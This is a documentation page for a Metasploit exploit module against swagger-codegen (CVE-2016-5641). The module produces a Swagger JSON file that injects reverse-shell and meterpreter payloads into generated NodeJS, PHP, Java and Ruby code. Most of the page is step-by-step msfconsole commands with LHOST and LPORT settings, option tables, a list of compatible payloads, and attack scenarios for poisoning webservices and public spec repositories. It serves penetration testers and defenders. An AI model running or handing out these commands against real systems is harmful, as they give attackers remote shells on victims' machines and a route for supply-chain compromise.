JSON Swagger CodeGen Parameter Injector - Metasploit


This page contains detailed information about how to use the exploit/multi/fileformat/swagger_param_inject metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: JSON Swagger CodeGen Parameter Injector
Module: exploit/multi/fileformat/swagger_param_inject
Source code: modules/exploits/multi/fileformat/swagger_param_inject.rb
Disclosure date: 2016-06-23
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): nodejs, php, java, ruby
Supported platform(s): Java, NodeJS, PHP, Ruby
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-5641

This module generates an Open API Specification 2.0 (Swagger) compliant json document that includes payload insertion points in parameters. In order for the payload to be executed, an attacker must convince someone to generate code from a specially modified swagger.json file within a vulnerable swagger-codgen appliance/container/api/service, and then to execute that generated code (or include it into software which will later be executed by another victim). By doing so, an attacker can execute arbitrary code as the victim user. The same vulnerability exists in the YAML format.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

msf > use exploit/multi/fileformat/swagger_param_inject
msf exploit(swagger_param_inject) > show targets
    ... a list of targets ...
msf exploit(swagger_param_inject) > set TARGET target-id
msf exploit(swagger_param_inject) > show options
    ... show and set options ...
msf exploit(swagger_param_inject) > exploit

Required Options

  • SWAGGER_HOST: a valid hostname or IPv4

Knowledge Base

The Swagger CodeGen parameter injector module generates a Swagger JSON file with embedded Metasploit payloads.

In the typical case, a Swagger document defines an API. Swagger can be automatically consumed to generate client/server code, testing and scaffolding in APIs by companies eager to provide value to the increasing need for scalable API deployment and testing.

Currently, this module supports 4 languages for delivery: NodeJS, PHP, Ruby, and Java. These are specified by the PAYLOAD set for the exploit module.

Verification Steps

All exploits assume a bind or reverse-tcp callback handler, with preference on reverse-tcp.

  1. Start msfconsole
  2. Start a callback handler listening for a the appropriate payload (e.g.)
use exploit/multi/handler  
set PAYLOAD nodejs/shell_reverse_tcp

set LHOST 192.168.68.138 
set LPORT 4444

run
  1. Pick a target

Targets

NodeJS

This attack injects a payload into javascript by terminating a URL path string.


use exploit/multi/fileformat/swagger_param_inject
set TARGET 0
set PAYLOAD nodejs/shell_reverse_tcp
set INFO_VERSION "1.0.0"
set SWAGGER_HOST "localhost"
run

PHP

This attack injects a payload into PHP multiline comment area.


use exploit/multi/fileformat/swagger_param_inject
set TARGET 1
set PAYLOAD php/meterpreter/reverse_tcp 
set SWAGGER_HOST "localhost"
run

ruby

This attack injects a payload into ruby multiline comment area.


use exploit/multi/fileformat/swagger_param_inject
set TARGET 3
set PAYLOAD ruby/shell_reverse_tcp 
set SWAGGER_HOST "localhost"
run

Java

This attack injects a payload into Java by terminating a URL path string.


use exploit/multi/fileformat/swagger_param_inject
set TARGET 2
set PAYLOAD java/jsp_shell_reverse_tcp 
set SWAGGER_HOST "localhost"
run

Quick Test

Use the online editor.swagger.io to upload your swagger document, and generate pre-built code bases from the document. The swagger editor leverages generator.swagger.io to build these clients & servers automatically from the document, and published downloadable artifacts of these code bases.

Scenarios

Effective against services with either these dependencies

Possible Attack approach.

  1. Research the target environment and component dependencies.
  2. Setup appropriate payload callback listener.
  3. generate the appropriate swagger document with associated MS payload (see above for examples)

Against a webservice (2nd order attack / blind code-gen)

Who knows what insecurely configured code-gen Docker containers hosted in data compute or API broker cluster could do if given the chance...

  1. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
  2. Wait for callback handler event.

Against a code repository or public hosting of spec

People and Robots trust swagger to build clients, servers, mocks, and more. Publicly hosted specs should be verified as to not corrupt automatic code generation.

  1. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
  2. Wait for callback handler event.

Go back to menu.

Msfconsole Usage

Here is how the multi/fileformat/swagger_param_inject exploit module looks in the msfconsole:

msf6 > use exploit/multi/fileformat/swagger_param_inject

[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/fileformat/swagger_param_inject) > show info

       Name: JSON Swagger CodeGen Parameter Injector
     Module: exploit/multi/fileformat/swagger_param_inject
   Platform: NodeJS, PHP, Java, Ruby
       Arch: nodejs, php, java, ruby
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-06-23

Provided by:
  ethersnowman <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   NodeJS
  1   PHP
  2   Java JSP
  3   Ruby

Check supported:
  No

Basic options:
  Name                       Current Setting   Required  Description
  ----                       ---------------   --------  -----------
  BASE_PATH                  /                 yes       The root path of API on host.
  DEFINITION_DESCRIPTION     F                 yes       Description of an object definition.
  FILENAME                   msf-swagger.json  no        The file to write.
  INFO_DESCRIPTION           A                 yes       Swagger info description
  INFO_TITLE                 C                 yes       Swagger info title.
  INFO_VERSION               1.0.0             yes       Swagger info version.
  PATH                       /a                yes       Path of request/response on root path.
  PATH_DESCRIPTION           D                 yes       Description of a path request object
  PATH_RESPONSE_DESCRIPTION  E                 yes       Description of a path response object
  SWAGGER_HOST                                 yes       a valid hostname or IPv4
  SWAGGER_SCHEME             http              yes       Protocol scheme (Accepted: http, https, ws, wss)

Payload information:

Description:
  This module generates an Open API Specification 2.0 (Swagger) 
  compliant json document that includes payload insertion points in 
  parameters. In order for the payload to be executed, an attacker 
  must convince someone to generate code from a specially modified 
  swagger.json file within a vulnerable swagger-codgen 
  appliance/container/api/service, and then to execute that generated 
  code (or include it into software which will later be executed by 
  another victim). By doing so, an attacker can execute arbitrary code 
  as the victim user. The same vulnerability exists in the YAML 
  format.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2016-5641
  http://github.com/swagger-api/swagger-codegen
  https://blog.rapid7.com/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641

Module Options

This is a complete list of options available in the multi/fileformat/swagger_param_inject exploit:

msf6 exploit(multi/fileformat/swagger_param_inject) > show options

Module options (exploit/multi/fileformat/swagger_param_inject):

   Name                       Current Setting   Required  Description
   ----                       ---------------   --------  -----------
   BASE_PATH                  /                 yes       The root path of API on host.
   DEFINITION_DESCRIPTION     F                 yes       Description of an object definition.
   FILENAME                   msf-swagger.json  no        The file to write.
   INFO_DESCRIPTION           A                 yes       Swagger info description
   INFO_TITLE                 C                 yes       Swagger info title.
   INFO_VERSION               1.0.0             yes       Swagger info version.
   PATH                       /a                yes       Path of request/response on root path.
   PATH_DESCRIPTION           D                 yes       Description of a path request object
   PATH_RESPONSE_DESCRIPTION  E                 yes       Description of a path response object
   SWAGGER_HOST                                 yes       a valid hostname or IPv4
   SWAGGER_SCHEME             http              yes       Protocol scheme (Accepted: http, https, ws, wss)

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**

Exploit target:

   Id  Name
   --  ----
   0   NodeJS

Advanced Options

Here is a complete list of advanced options supported by the multi/fileformat/swagger_param_inject exploit:

msf6 exploit(multi/fileformat/swagger_param_inject) > show advanced

Module advanced options (exploit/multi/fileformat/swagger_param_inject):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   true             no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (generic/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   ARCH                                         no        The architecture that is being targeted
   PLATFORM                                     no        The platform that is being targeted
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the multi/fileformat/swagger_param_inject module can exploit:

msf6 exploit(multi/fileformat/swagger_param_inject) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   NodeJS
   1   PHP
   2   Java JSP
   3   Ruby

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the multi/fileformat/swagger_param_inject exploit:

msf6 exploit(multi/fileformat/swagger_param_inject) > show payloads

Compatible Payloads
===================

   #  Name                                     Disclosure Date  Rank    Check  Description
   -  ----                                     ---------------  ----    -----  -----------
   0  payload/generic/custom                                    normal  No     Custom Payload
   1  payload/generic/shell_bind_tcp                            normal  No     Generic Command Shell, Bind TCP Inline
   2  payload/generic/shell_reverse_tcp                         normal  No     Generic Command Shell, Reverse TCP Inline
   3  payload/multi/meterpreter/reverse_http                    normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   4  payload/multi/meterpreter/reverse_https                   normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
   5  payload/nodejs/shell_bind_tcp                             normal  No     Command Shell, Bind TCP (via nodejs)
   6  payload/nodejs/shell_reverse_tcp                          normal  No     Command Shell, Reverse TCP (via nodejs)
   7  payload/nodejs/shell_reverse_tcp_ssl                      normal  No     Command Shell, Reverse TCP SSL (via nodejs)

Evasion Options

Here is the full list of possible evasion options supported by the multi/fileformat/swagger_param_inject exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/fileformat/swagger_param_inject) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

PAYLOAD

Here is a relevant code snippet related to the "PAYLOAD" error message:

147:	      p = payload.encoded.gsub(/<%@page import="/, 'import ')
148:	      p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
149:	      p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
150:	      wrapped_payload = payload_prefix + p
151:	    else
152:	      raise IncompatiblePayloadError.new(datastore['PAYLOAD'])
153:	    end
154:	
155:	    datastore[payload_loc] = wrapped_payload
156:	
157:	    print_status swagger

Go back to menu.

References

See Also

Check also the following modules related to this module:

Authors

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.